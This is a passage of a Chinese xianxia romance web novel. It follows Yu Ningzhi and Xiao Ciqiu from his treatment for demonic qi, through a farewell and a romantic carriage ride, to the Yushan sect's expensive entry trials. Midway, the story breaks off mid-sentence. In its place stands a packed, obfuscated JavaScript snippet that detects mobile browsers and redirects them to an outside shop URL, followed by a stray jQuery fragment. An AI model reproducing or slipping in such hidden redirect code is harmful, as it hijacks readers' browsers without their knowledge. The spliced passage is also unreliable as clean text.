其实他这会儿已经能够回去歇息,可想着两人好歹出过力,于是半途脚步一拐,等反应过来时已经在这间屋子里站定。
感应到医师的目光,申屠肃口吐金言:“说。”
医师这才诚惶诚恐回答道:“回大人,这位公子体内的魔气似乎非比寻常,与一股外源灵气相护排斥,两股力量侵入心脉,恐难根除。虽然尚可用药物压制,但是想要永绝后患,恐怕还要等他自己入境,修身以强自身经脉,修心以自排体内两股外力……”
申屠肃从听第一个字开始,就已经不耐烦了。
“也就是说,现在只能压制。”他问,“郁宁止,你怎么看。”
骤然被申屠肃点名,郁宁止动作稍顿。
她也一直在观察医师的反应,本来以为萧辞秋这副模样,已经到了药石无救的地步,现下竟然有了续命的法子,她还暗自松了口气。
声音温和缓慢却不假思索:“劳烦医师开张药方,至于之后该如何根治,我也已经想好了,辞秋向来对修仙问道心向往之,若不是突生变故,他合该前往羽山派拜师学艺,待他醒后,我们即刻前往羽山派。”
听到熟悉的字眼,申屠肃重复道:“羽山派?”
他鼻间喷出一抹极轻的气声,不知是轻笑还是轻蔑。
“我有个熟人,算算日子,他这几日正好在羽山派。你们二人且上山拜师,我替你们写封举荐信,说不准连羽山派的弟子试炼都不用参加。”
说到这里,申屠肃困意全然消散,连眼睛都亮起来了。
医师已经从桌案前抬头,将一气呵成写就的药方递了过来。
郁宁止上下扫了一眼,他没等人看完,便主动道:“其他药草倒是常见,只一味魄清草难寻。”
申屠肃眼都不眨,闻言抬手一挥:“用,尽管用,从我私账里出。”
郁宁止报以浅浅笑意,见他莫名兴致高涨,觉得这是个好机会。
“申屠大人,在下还有一事相求。”
“想进羽山派的人众多,我二人虽有大人做靠山,可事关家兄性命,我唯恐有丝毫闪失,还请大人准许,借宝剑一柄,好让我们能有上山的底气。”
10. 第 10 章
申屠肃这人虽说看起来不着调,但好在行事干脆,不曾效仿巡防营本土风气,结案时总要拖泥带水,死守流程。
浮殷的魔族业已清除,被卷入此案的海神社众人也已经被释放归家。
先是被稀里糊涂抓走,后又不明不白放了回去,虽说巡防营的人没有将此事详细说明白,可赵娘子等人也隐约猜到是郁宁止从中斡旋,才能如此迅速了结。
得知郁宁止即将带萧辞秋远行,海神社特锁了大门,告假一日,赵娘子携社里众人前来送别。
郁宁止租了辆马车,对围过来的海神社乐人们说了声抱歉。
“我与辞秋受师傅们照拂多日,本不该匆忙上路,奈何辞秋这病来得既凶且急,多耽搁一日便凶险一分。”
他昏迷两日,一开始连吞咽都难,硬灌了几顿汤药才醒,如今刚刚恢复了些许,就要往羽山派赶路。
齐娘子抹了抹眼角的泪,握着她的手,依依不舍道:“好孩子,我们都省得,你是个重情重义的,听闻你要远行,我给你准备了些吃的,你带着路上用。”
说着,她将包袱塞给郁宁止。
有她打头阵,其余人纷纷给物的给物,来不及制熟食的,索性挤了些银钱:“也不知道那仙们内每日银两花销几何,你们年轻气盛,饭量大,不用不舍得享用。”
“若是仙门不要你们,还回浮殷来,我们都留意着名医游侠,若是有能帮上忙的偏方灵药,定去信给你。”
郁宁止并不是个热络的,但怀里余温未散,拿着众人所筹来得一应物什,她也感觉眼眶发热。
她眨眨眼,眼球干涩,没有落泪迹象。
“不必担心,这世间的事哪有定数可言,各人有各人的造化,说不准老天开眼,我们到了羽山派,一日入道,两年成仙也说不定。”
她说这个话,本是想逗趣,好缓一缓略显哀重的气氛,岂料一直默不作声的赵娘子开口:“好啊,好啊,有志气是好事,不能教人小瞧了去。”
犹豫了片刻,赵娘子最终还是把手里一直紧攥着的东西递给了郁宁止。
“你颈上的绳旧了,我给你编了条新的。”
赵娘子心细手巧,郁宁止贴身戴着枚玉坠,从不示人,连萧辞秋都没注意到,她注意到线绳磨损破旧,特意找了掺了金丝的红线替她编了一条新的。
郁宁止知道她面冷心热,当即接过,将玉坠换了上去。
萧辞秋被刘伯拉走,眼却一直往这边看,隔的有点远,她瞧见郁宁止取了玉坠子,眯起眼,想要看仔细些。
刘伯猛地拍了拍他:“你小子!老头子我正经跟你说话呢,这也是病症所致?怎么眼又斜了。”
感受到手里被塞了包东西,萧辞秋这才回过神来,不明所以道:“这是什么?”
刘伯咳了声,压低声音:“你别不好意思,我都看出来了,你和郁姑娘其实不是兄妹,是夫妻。”
萧辞秋瞳孔微缩,还没把刘伯的话在脑袋里完整过一遍,肌肤已尽染绯色。
他张张嘴,下意识就想否认:“不,不……”
“不什么不?”刘伯按住他肩膀往下压,恨铁不成钢道,“你呀你,别怪我说句难听话,你这么一穷二白的,居无定所还身无分文,除了张脸还能看,谁还能看得上你?有个不离不弃的娘子,算是你捡到便宜了。”
言下之意,软饭不能硬吃。
“你啊,就别放不下面子了,该用药用药。”刘伯语重心长。
闻言,萧辞秋这才拿起药,仔细端详上头如米粒般的工整小字。
“一丸升阳,龙腾虎跃振精神。三丸固本,铁打金枪妙回春。”
刘伯略显得意:“回春丸,专治你这毛病。你”
他还顾及着萧辞秋的伤:“不过身体是革命的本钱,等你身上好些了再吃,这事儿本就急不得。”
萧辞秋耳边轰鸣,他觉得那种头晕目眩的感觉又来了。
“这都什么啊,我没毛病,真没毛病!”
为时已晚,刘伯拍了拍他的肩膀:“我懂,我懂。”
“你不懂!”萧辞秋面色涨红,低吼着反驳。
郁宁止那边已经和众乐人们告别,远远便听见这边动静。
她佯装不知,站到萧辞秋身后,冷不丁问他:“不懂什么?刘伯给了你什么好东西,也给我瞧瞧。”
萧辞秋将手里不足掌心大的药包塞进胸口,故作镇定:“什么都没有。”
可他脸上还烫着,这话倒显得他欲盖弥彰,不大坦诚。
刘伯瞥了他一眼,和郁宁止说了声再会,追着齐娘子去了。
二人这才紧赶着上路,往羽山派所在出发。
马车内饰半旧,空间逼仄,两人挤着坐,腿挨着腿,略显拘谨。
萧辞秋坐着,无比煎熬,从感受到车缓缓移动开始,他就浑身刺挠,越来越难受。
一开始不小心碰到郁宁止时,萧辞秋如同惊了水的鱼,下意识挪开,还磕到了膝盖外侧。
为了减少接触,他只能努力贴着车厢内壁,挺直腰背,双腿并紧,双手也规矩搭在前方。
可他熬了一会儿又觉得郁宁止烦得很,身上的味道乱七八糟往他鼻子里钻,让他觉得喉咙发紧,脑袋昏沉。
萧辞秋只能尽可能歪过头,小心稀奇,好让这段路程别那么难熬。
可熬了一会儿,马车遇到坑洼,震得他猛吸一口气。
郁宁止身上的味道还是不可避免涌入他肺腑。
最好辨认的就是皂角香,她生性好洁,因此身上总带着清冽的皂角香气,这东西他也在用,不知道为何,总感觉郁宁止用过后,会带着一种青涩中略带微甘的柔和香气。
除却皂角香,还有药的微苦。
他在昏迷之时,常感觉有种溺水般的窒息,某次被药水呛到,猝然惊醒,方才意识苏醒。
他一直不明白这些天的药是如何灌下去的,直到他又一次做梦。
梦里的郁宁止熬好汤药,却并没有直接喂给他。
萧辞秋躺在床上,整个人不得动弹,可眼前却清明,将床榻前的人看得仔细。
那双手的肌肤不算细腻,掌内与虎口布有薄茧,捏着勺子搅动黑色汤药时,他透过茫茫雾气,先注意到的却是她不点而朱的唇。
血气旺盛,是她整个人身上难得的姝丽艳色。
因为挣扎无用,萧辞秋索性肆无忌惮享受着这种安宁,他从前是不敢将郁宁止看得这般细致的,就算是当初刚被郁宁止救下,他也没敢借着月光去端详刻模她的面目。
萧辞秋总觉得,这种亲昵的目光是种亵渎。
从月下林中被她所救开始,萧辞秋就怀疑一切都只是自己临死前的幻觉,亦或者是神女怜佑,才让他得活。
郁宁止问起两人关系时,他思索片刻,最终选择了一个最容易显出破绽,却也最容易被她庇护的身份。
萧辞秋一直在害怕,如若谎言戳破,郁宁止会不会恼羞成怒,将他抛弃。
这也是他夜夜不得安枕,溜去偏方睡觉的原因。
如影随形的惶恐不安让他日夜惶恐,但他又享受着郁宁止带给他的安定与牢靠。
这种矛盾反复撕扯着他,让他既想要亲近郁宁止,又担心亲近产生亵渎。
几乎是贪婪的,萧辞秋放任自己用眼神去描摹她的五官与神态,然后他惊讶发现,郁宁止吹凉了汤药后,并没有喂给他,而是自己先饮。
可她将汤药含在口中,并不急着咽下,而是俯身倾靠床榻。
那张令他魂牵梦萦的脸不断靠近……
舌尖泛苦,等囫囵咽下后,又泛出丝丝缕缕的甜来。
他闻到了药香。
这方狭窄似笼的地界里,微苦草药味若有似无,萧辞秋拧着眉,侧目看了看姿态随意的郁宁止。
“你今日晨起洁齿漱口了吗?”
郁宁止听见他说话,嗯了声,接着又听见他嘀咕一句奇怪。
余光里,萧辞秋整个人面色潮红,耳根又软又红,像是煮熟了一般。
郁宁止问:“你看起来脸色有些不对,是身体又不舒服了吗?”
她将萧辞秋的手拉过来,搭在自己身上,两指熟练地扣住萧辞秋的脉搏。
萧辞秋反应了一会儿,疑惑道:“你又不懂医术,号什么脉啊。”
郁宁止道:“我是听你都开始说胡话了,想看看你还清醒不清醒。”
萧辞秋道:“怎么说。”
郁宁止抓着他的手晃了晃:“我夫君避我如蛇蝎,这会儿都不躲了,那肯定是又烧糊涂了。”
才舒展的眉毛又皱起,萧辞秋扯回自己的手:“庸医,什么邪门歪道。”
郁宁止笑了笑:“我说的准吗?”
“幼稚。”萧辞秋经她这么一闹,也不紧绷着身体了,他靠在一旁,脑壳被振动的车厢磕得咣咣响,反正也不疼,他便这么歪着。
不知过了多久,久到萧辞秋眼睛已经闭上,将见周公时,郁宁止将他揽了过来。
他靠在郁宁止肩头,仍是闭着眼,意识却越发清醒。
“娘子。”他鼓起勇气这么喊。
等了好久,没等来郁宁止回音,萧辞秋破罐子破摔,又喊一次。
这次郁宁止接话了:“嗯?”
懒洋洋的,似乎也困了。
萧辞秋问她:“在湖里的时候,你为什么要救我。”
郁宁止想也没想:“因为你是我夫君。”
这会儿魔气似乎又在作怪,萧辞秋心口微疼,他忍着又问:“在你心里,是我更重要,还是所谓的‘夫君’名分更重要。”
郁宁止思索片刻,话里带着点笑意:“这是什么话?我倒听不懂你的意思了。”
萧辞秋指尖微动,他慢慢挪动着自己的手,用更靠近郁宁止的尾指去勾她的尾指。
两条钩子松垮连在一起,他指关节泛白,没有更进一步。
“那假设我们之间从来没有过父母之命、媒妁之言,那你还会……”
“可能吧。”
她的话让萧辞秋的心骤然提到嗓子眼。
路途颠簸,又经过一道坎,马车无法避免的晃动了一下,眼看着两个人相连的手指要分开。
还没反应过来,郁宁止便与他腕口相搭,掌心贴着掌心,十指交扣。
“辞秋,你难道看不出来吗?”
郁宁止的话像是一条已经拴好了饵料的钩,他似水中潜游的鱼,一旦咬了钩,就只能被丝线拖拽着往上拉,直至脱离水面。
萧辞秋现在就是那条离了岸的鱼,徒劳张着嘴,却无法呼吸。
干涸的空气无法填充他的渴望,他被无形丝线扯动到伤口,火辣辣的疼。
“看不出我对你的偏爱吗?”
郁宁止轻飘飘的一句话,让他一直以来惴惴不安的心落了回去。
紧接着,它开始不安躁动,似乎掐准了萧辞秋的束手无策,肆意横行,要直接跳出来捧到谁跟前儿似的。
萧辞秋抬头,吻在郁宁止脸颊上。
郁宁止没产生多少意外,她甚至还回吻了萧辞秋的额头。
鱼在水里狡猾敏捷,上了岸却脆弱无比。离开了熟悉的环境,他只能匮乏的大口呼吸着,尽管这于事无补。
萧辞秋见状,又低头凑了过去,在她唇边磨蹭了好一会儿,扰乱她的呼吸节奏,让她不得不张口吸气。
他一边唾弃自己卑劣,一边忍不住更进一步,跟随心意与她唇齿交缠,攫取她舌尖润泽。
但他终究不得要领,急切想要获取什么,反而很快陷入困境。
他又感觉头脑昏沉,有些喘不上来气。
最后还是郁宁止拍着他的背,换气时提醒他:“呼吸。”
两人气息交缠,明明唇上是亮泽湿润的,萧辞秋却越发口干舌燥。
他喘着气问道:“我是不是很没用?”
从小到大,他做任何事都是三分钟热度。仗着萧家长子的身份,他有向一切事物发起挑战的勇气。
可惜的是,一切事物都能打败他。
算术不行,父母说可以请账房先生。
读书不行,家里可以请方圆百里最好的先生来教。
剑术不行,连师父都会说他只是没遇上拔剑拼命也不肯让步的事。
萧辞秋在善意的谎言里一路长成这副样样通样样松的模样。
他问这话并不是想要答案,但他又隐隐期待着,郁宁止能否定他的话,以此来证明他还不是一无是处。
他的妻子向来温和体面,应当不会真的让他难堪。
果然,郁宁止说:“怎么会呢?夫君,你是世间顶好的男儿,相貌堂堂,仪表不凡。”
“日子还长,我们往后不知还会遇见多少艰难险阻,你会保护我的,对吗?”
萧辞秋松了口气,他道:“当然,我发誓,我将来一定能够名震四方,我们再也不会过这么窘迫的生活了。”
话虽信誓旦旦,但俗话说得好,一文钱逼死英雄汉。
俩人一路走,光喝药将财散去大半,住宿又折去一半,等到了羽山派山脚下,连干粮都快吃完了。
马车还是不够快,最后两日几乎是日夜兼程,途中又换了好几次马,这才在初选的最后一日及时赶到现场。
郁宁止手抖着把兜里最后几粒银子给了车夫,又被告知还差三十文。
她刚想厚着脸皮问能不能便宜点,萧辞秋大手一挥,将钱掷了过去。
车夫吹着哨走了,郁宁止难得沉了脸,她劝告萧辞秋,改一改花钱大手大脚的毛病,萧辞秋却不甚在意,道:“咱们已经到了羽山派,三十文罢了,当舍就舍。”
他深吸一口气,轻松愉悦。
“这羽山派果真是宝地,我现在感觉浑身轻松。”
萧辞秋一改连日沉郁,排队时脸上笑颜都多了。
见此情形,郁宁止也不想扫了他的兴致,虽然捏着空荡荡的荷包一阵肉疼,但她还是附和道:“是了,我也觉得羽山派灵气充沛,身在此山中,筋骨都松快了不少。”
这并非信口胡诌,郁宁止从进来就发现,这里的一草一木都比别处茂盛,空中的灵气波动也较其他地方更为浓郁细密。
两人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122769|195972||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的对话引来的他人的不屑。
“切,土包子。”
这句话带着毫不掩饰的鄙夷,且丝毫没有背着他们的意思,在安静的队伍里格外刺耳。
郁宁止回首,见一人穿着扎眼的金袍晃悠悠提着剑走过来,毫不客气插队到了他们的前方,还顺带踩了萧辞秋一脚。
也不知道是故意的还是不小心为之。
“你!”萧辞秋怒不可遏,“凡事都要讲个先来后到,你先是出言嘲讽,现在又不按规矩排队,我要你现在立刻向我赔礼道歉。”
那人斜着眼上下扫了他一眼,以手掩鼻,没赔礼道歉,只丢了个白眼过来。
“看什么看,穷鬼。”
“我说点实话而已,你就不爱听了。”
她不屑道:“你们这种人就别痴心妄想进羽山派修习了,你们当这里做慈善啊?什么穷酸乞丐都跑来要饭了,就算我不排在你们前头,等会儿收钱的弟子们到了,你们有钱交食宿费吗?”
郁宁止敏锐捕捉到她话中有关钱的字眼,按住想要从她腰侧取剑的萧辞秋,上前一步,问道:“敢问食宿费是指?”
那人见了郁宁止,兴许是因她面相和善,所以并没有直接出言嘲讽。
“今日只简单记名,不选拔,真正的弟子选拔在明日才开始。日暮之后,山门大阵关闭,在这之前想要留在山上,就要交灵石换取住宿和吃食,不然就会被赶下山去。”
她又扫了一眼愤愤不平的萧辞秋,继续道:“你们俩带着两把破剑,连车费都是从牙缝里挤出来的,哪里有资格留在山上?没钱修什么仙,快回山下找个正经营生吧,没得在这里丢人现眼。”
“开脉、法器、养剑、灵兽、丹药、伤药……哪一样不是用灵石堆起来的?也就羽山派这些年放宽了弟子选拔的条件,让你们这些乡巴佬能花灵石进来见见世面,换五百年前,就算你们家底丰厚也进不来!”
这下轮到郁宁止和萧辞秋傻眼了。
更令人绝望的是,别说羽山派只收灵石,即便是凡间流通的银钱,他们也付不起。
一天一夜需三十颗下品灵石,换算成银子就是三十两。
选拔一共五日,中间还不包括吃喝以及揭榜挑战的钱。
是了,今日的记名并不是为了别的,正是为了从后日开始的淘汰制选拔。
羽山派今年只收三十个五十个弟子,其中有四十名外门弟子,十名内门弟子。首日便会淘汰一半的弟子,只在新人榜上按照首日表现留下五十名,所有未留名又没被淘汰的人,就可以花钱揭榜。
若是想要留用,就要不断向新人榜发起挑战,直至第五日钟声敲响的那一刻,名次方可落定。
最令人恶心的是,为了不让排名靠后的人反复被消耗,这种揭榜采取的是随机制,且每人只有三次揭榜或同榜越级挑战的机会。
“一次五十颗下品灵石。”
这位爱翻白眼的少女还挺有耐心,嘴上嫌弃,但还是把他们的问题都解答了一遍。
“叹为观止。”郁宁止算了算最低花销,木着脸说出这四个字。
眼见着队伍越来越短,前头的人要么摇着头下了山,要么痛快交钱被人领着离开,郁宁止和萧辞秋在原地搜罗完全身,也只找出八颗品相不佳的下品灵石。
这几颗灵石还被旁边的白眼少女称之为次品灵石。
郁宁止身后无人,二人排在队尾,收钱的弟子走到他们面前,已经有些不耐烦了。
他扫了一眼两人:“一人一百五十颗下品灵石,不接受凡间银两,不接受以物抵换,不接受找零,付完记名。”
等了两息,见两人面面相觑,没有交钱的意思,他折了纸就要走。
郁宁止心一横,忙拉扯他:“等等,等等。”
记名弟子扫了她一眼,兴许是见她身上被布包裹着的剑,提醒道:“不接受以物抵换,剑也不行。”
事到如今,只能试试申屠肃所说的推荐信了。
郁宁止硬挤出一个笑脸,将信找了出来,塞到他手里:“师兄,劳烦您将此信交给一位姓祁的大人手里。”
“我们是由申屠大人举荐的,从浮殷海神社而来,万望师兄通传,小小心意,不成敬意。”
说着,郁宁止将身上所有的灵石都给了这位不知名姓的羽山派弟子。
那弟子看了看这些灵石,说了句:“最近好像是有这么一个人来我们羽山派。”
他两指夹过信,确认上面的封印带有灵气后才勉强信了郁宁止方才所说。
“行吧。”他嘴里砸吧了一下,还是一副爱搭不理的模样,“事先说好,我就负责送个信,那人看或不看,帮或不帮,都是你们之间的事,都和我无关。”
“呦。”白眼少女惊叹,“没看出来啊,申屠肃什么时候开始扶危救困了。”
她摇摇头眼中似有怜悯:“不过你们所说的祁大人,不会指的是祁令年吧。”
郁宁止也不知道,申屠肃只提过对方姓氏,没多说什么,她当时就没把他的话当真,现下不过死马当活马医,没招了才想起来这封信。
不待她回答,白眼少女叹了口气:“你们八成是被他耍了,这厮满嘴谎言,我与他也算有过一段交情,深知他秉性如何,他向祁令年举荐你们,八成是想害你们。”
“你们是怎么惹到他的呢?”
本来她已经能离开此处,好好休息,可如今提到旧友,腿也不酸了,腰也不疼了,硬是站在此处吹风闲聊。
郁宁止觉得举荐信的事八成是没希望了,她给萧辞秋递了个眼色,对方完全没看懂,她只能唱独角戏。
“小姐有所不知,我们与这申屠大人本无冤无仇,奈何前段时间,浮殷起了魔患,我们二人被卷入其中,先是差点被掳走,而后又被申屠大人怀疑,这才不得已以身作饵……”
她隐去详情,只捡着话把事情大概拼凑叙述出来。
“我兄长为了完成任务,被魔气袭击,危在旦夕,为了打发我们,他便承诺保我们进羽山派,给了我们这封信,让我们尽管来此拜师。”
“如今看来,若按照小姐所言,那申屠肃是个油嘴滑舌的骗子,我兄长治病续命之事竟是没希望了。”
郁宁止苦笑。
两人时不时痛骂申屠肃几句相谈甚欢,萧辞秋在旁附和几句,聊着聊着,竟然真把那位弟子等了回来。
“祁大人收了信,”弟子气喘吁吁,“特派我回来知会二位。”
郁宁止大喜,本以为按照申屠肃的风评,祁令年压根不会理会他们,可如今还特意指使人过来一趟,看来这事还有机会。
弟子把已经拆开的信还给郁宁止。
郁宁止急忙打开,三颗脑袋凑在一起,都在使劲儿看信中内容。
上面龙飞凤舞。
听闻祁大人在羽山派办公差。我以自身人品节操担保,这两人是可塑之才,相信祁大人慧眼识珠,定然能发现他们的过人之处,破例录取。
下面工整严肃,字迹力透纸背。
申屠大人名声在外,此番言论实在难以令人信服,恕难从命,万望海涵。